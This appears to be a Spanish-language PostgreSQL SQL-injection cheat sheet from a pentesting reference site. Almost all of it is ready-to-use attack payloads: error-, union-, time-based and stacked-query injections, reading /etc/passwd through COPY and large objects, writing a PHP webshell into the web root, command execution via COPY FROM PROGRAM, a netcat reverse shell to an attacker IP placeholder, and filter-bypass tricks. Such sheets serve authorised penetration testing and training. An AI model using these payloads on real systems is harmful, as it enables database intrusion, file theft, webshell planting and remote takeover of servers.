PostgreSQL
Enumeración
Versión
# Versión
SELECT version()
Usuarios
# Usuario actual
SELECT current_user
Privilegios
# Privilegio de superusuario
SELECT current_setting('is_superuser')
Bases de datos
# Listado de base de datos
SELECT datname FROM pg_database
Tablas
# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'
Columnas
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
Datos
# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>
Error-based SQLi
# Versión
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
Union-based SQLi
Obtener información dentro de una sola columna
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
Time-based SQLi
|| (SELECT 1 FROM PG_SLEEP(10))
Stacked Queries SQLi
;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
Lectura y escritura de archivos
Para realizar operaciones de lectura y escritura de archivos mediante el comando COPY
, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles pg_read_server_files
y pg_write_server_files
, respectivamente.
# Privilegio de superusuario
SELECT current_setting('is_superuser')
# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
Lectura
SELECT pg_read_file('/etc/passwd')
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
Un inconveniente al usar el comando COPY
para leer archivos es que espera que los datos estén separados por columnas, usando por defecto el carácter de tabulación \t
como delimitador. Sin embargo, se puede cambiar este delimitador por otro carácter poco común, como \x07
, para evitar errores durante la lectura.
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
Lectura con Large Objects
# Carga de archivo
SELECT lo_import('/etc/passwd');
# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;
# Lectura de archivo
## Opción 1
SELECT lo_get(<object-id>);
## Opción 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversión de hexadecimal
echo <hexadecimal> | xxd -r -p
Escritura
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
Webshell
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';
Escritura con Large Objects
split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('<hexadecimal>','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('<hexadecimal>','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd
Remote Code Execution (RCE)
Para usar COPY con ejecución de comandos, el usuario debe contar con privilegios de superusuario o tener el rol pg_execute_server_program
.
CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
Reverse shell
Ejecución de Netcat en máquina atacante en modo escucha.
nc -lvnp <listen-port>
Ejecución de reverse shell.
;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -
Evasión de filtros
Bypass de filtro de espacio
Usar /**/
en lugar de espacio.
' AND 1=1-- -
'/**/AND/**/1=1-- -
Bypass de filtro de comillas simples (single quotes)
En PostgreSQL los dos signos de dólar $$
se utilizan para delimitar cadenas de texto.
' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -
Última actualización
¿Te fue útil?